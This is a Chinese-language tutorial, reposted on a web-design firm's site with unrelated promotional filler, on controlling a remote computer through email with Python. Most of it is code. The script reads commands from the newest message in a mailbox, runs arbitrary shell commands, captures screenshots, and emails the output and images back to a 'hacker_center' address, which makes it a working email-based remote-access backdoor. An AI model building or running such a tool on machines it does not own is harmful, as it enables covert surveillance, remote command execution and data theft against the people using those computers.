本篇文章為大家展示了使用python怎么通過郵件控制遠程電腦,內(nèi)容簡明扼要并且容易理解,絕對能使你眼前一亮,通過這篇文章的詳細介紹希望你能有所收獲。
創(chuàng)新互聯(lián)是一家從事企業(yè)網(wǎng)站建設(shè)、成都網(wǎng)站設(shè)計、成都做網(wǎng)站、行業(yè)門戶網(wǎng)站建設(shè)、網(wǎng)頁設(shè)計制作的專業(yè)網(wǎng)絡(luò)公司,擁有經(jīng)驗豐富的網(wǎng)站建設(shè)工程師和網(wǎng)頁設(shè)計人員,具備各種規(guī)模與類型網(wǎng)站建設(shè)的實力,在網(wǎng)站建設(shè)領(lǐng)域樹立了自己獨特的設(shè)計風(fēng)格。自公司成立以來曾獨立設(shè)計制作的站點超過千家。python的數(shù)據(jù)類型有哪些?python的數(shù)據(jù)類型:1. 數(shù)字類型,包括int(整型)、long(長整型)和float(浮點型)。2.字符串,分別是str類型和unicode類型。3.布爾型,Python布爾類型也是用于邏輯運算,有兩個值:True(真)和False(假)。4.列表,列表是Python中使用最頻繁的數(shù)據(jù)類型,集合中可以放任何數(shù)據(jù)類型。5. 元組,元組用”()”標識,內(nèi)部元素用逗號隔開。6. 字典,字典是一種鍵值對的集合。7. 集合,集合是一個無序的、不重復(fù)的數(shù)據(jù)組合。
主要是python的一些用于收發(fā)郵件的庫
import smtplib from email.parser import Parser from email.header import decode_header from email.utils import parseaddr import poplib import pyautogui from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart from email.header import Header import os
0x02 具體實現(xiàn)
首先,實現(xiàn)郵件的讀取功能。讀取最新的一封郵件內(nèi)容,這條內(nèi)容中包含我們要做的事情,比如查詢ip地址、獲取屏幕截圖等。
在獲取內(nèi)容之前,先將郵箱的登錄等做好初始化
def email_init(): email = 'xxxxx@qq.com' #登錄的郵箱賬號 password = 'xxxxx' # 注意這里不是郵箱密碼 是要登錄的郵箱的授權(quán)碼 pop3_server = 'pop.qq.com' # 連接到POP3服務(wù)器: server = poplib.POP3_SSL(pop3_server, 995) server.set_debuglevel(0) server.user(email) server.pass_(password) resp, mails, octets = server.list() index = len(mails) resp, lines, octets = server.retr(index) # 這里index代表讀取最后一封郵件 也就是第一封 msg_content = b'\r\n'.join(lines).decode('utf-8') msg = Parser().parsestr(msg_content) return msg, server
要注意密碼不是郵箱的密碼,是授權(quán)碼,具體獲取方式可以百度。
隨后就可以將進行郵件的讀取了。
def print_info(msg, indent=0): if indent == 0: for header in ['From', 'To', 'Subject']: value = msg.get(header, '') if value: if header == 'Subject': value = decode_str(value) else: hdr, addr = parseaddr(value) name = decode_str(hdr) value = u'%s <%s>' % (name, addr) print('%s%s: %s' % (' ' * indent, header, value)) if msg.is_multipart(): parts = msg.get_payload() for n, part in enumerate(parts): print('%spart %s' % (' ' * indent, n)) print('%s--------------------' % (' ' * indent)) return print_info(part, indent + 1) else: content_type = msg.get_content_type() if content_type=='text/plain' or content_type=='text/html': content = msg.get_payload(decode=True) charset = guess_charset(msg) if charset: content = content.decode(charset) print('%sText: %s' % (' ' * indent, content)) return content else: print('%sAttachment: %s' % (' ' * indent, content_type))
將上一步得到的msg參數(shù)傳入到讀取函數(shù)中,通過遞歸調(diào)用查詢郵件內(nèi)容并解碼。其中涉及到遞歸調(diào)用中的輸出問題,我再上一篇文章中有提到:https://www.jb51.net/article/182761.htm
另外,涉及的解析函數(shù)decode_str()如下
def decode_str(s): value, charset = decode_header(s)[0] if charset: value = value.decode(charset) return value
在郵件中讀取相關(guān)命令后,就是對命令執(zhí)行,然后在通過郵件的形式反饋命令結(jié)果了。
這里以返回屏幕截圖以及執(zhí)行dos命令為例
def send_result(kind, result): # 第三方 SMTP 服務(wù) mail_host = "smtp.163.com" mail_user = "@163.com" #發(fā)送信息的郵箱 這里我是用的163郵箱 mail_pass = "xxxxxxx" # 郵箱的授權(quán)碼 sender = 'xxxxxx@163.com' #發(fā)送方地址 receivers = ['xxxxx@qq.com'] #收件地址 if kind == 1: # 第一方式 反饋屏幕截圖 print('Sending screenshot.') # 創(chuàng)建一個帶附件的實例 message = MIMEMultipart() message['From'] = '<hacker_center@163.com>' message['To'] = '<niu5512@qq.com>' subject = 'Hacker Center reply' message['Subject'] = Header(subject, 'utf-8') # 郵件正文內(nèi)容 message.attach(MIMEText('Hacker Server replay', 'plain', 'utf-8')) if os.path.exists("./screenshot.jpg"): # 構(gòu)造附件1,傳送當前目錄下的 test.txt 文件 att1 = MIMEText(open('./screenshot.jpg', 'rb').read(), 'base64', 'utf-8') att1["Content-Type"] = 'application/octet-stream' # 這里的filename可以任意寫,寫什么名字,郵件中顯示什么名字 att1["Content-Disposition"] = 'attachment; filename="screenshot.jpg"' message.attach(att1) try: smtpObj = smtplib.SMTP_SSL(mail_host, 465) # 啟用SSL發(fā)信, 端口一般是465 smtpObj.login(mail_user, mail_pass) # 登錄驗證 smtpObj.sendmail(sender, receivers, message.as_string()) # 發(fā)送 print("mail has been send successfully.") except smtplib.SMTPException as e: print(e) if kind == 2: #第二種方式 返回dos命令結(jié)果 message = MIMEText(result, 'plain', 'utf-8') message['From'] = '<hacker_center@163.com>' message['To'] = '<niu5512@qq.com>' subject = 'Hacker Center reply' message['Subject'] = Header(subject, 'utf-8') smtpObj = smtplib.SMTP_SSL(mail_host, 465) smtpObj.login(mail_user, mail_pass) smtpObj.sendmail(sender, receivers, message.as_string()) print("mail has been send successfully.")
其中執(zhí)行dos命令的函數(shù)如下:
def manage_cmd(cmd): print('The command is:%s' % cmd) kind = 0 result = 'Nothing happen.' if 'screenshot' in cmd: img = pyautogui.screenshot() img.save('./screenshot.jpg') kind = 1 if 'dos cmd' in cmd: dos_result = '' index = cmd.find(':') cmd = cmd[index+1:] if os.system(cmd): result = 'command err.' else: info = os.popen(cmd) for line in info: dos_result = dos_result + line kind = 3 if dos_result != '': result = dos_result return kind, result
上述內(nèi)容就是使用python怎么通過郵件控制遠程電腦,你們學(xué)到知識或技能了嗎?如果還想學(xué)到更多技能或者豐富自己的知識儲備,歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道。
文章名稱:使用python怎么通過郵件控制遠程電腦-創(chuàng)新互聯(lián)
標題URL:http://aaarwkj.com/article0/iecoo.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供App開發(fā)、小程序開發(fā)、企業(yè)網(wǎng)站制作、自適應(yīng)網(wǎng)站、網(wǎng)站排名、營銷型網(wǎng)站建設(shè)
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)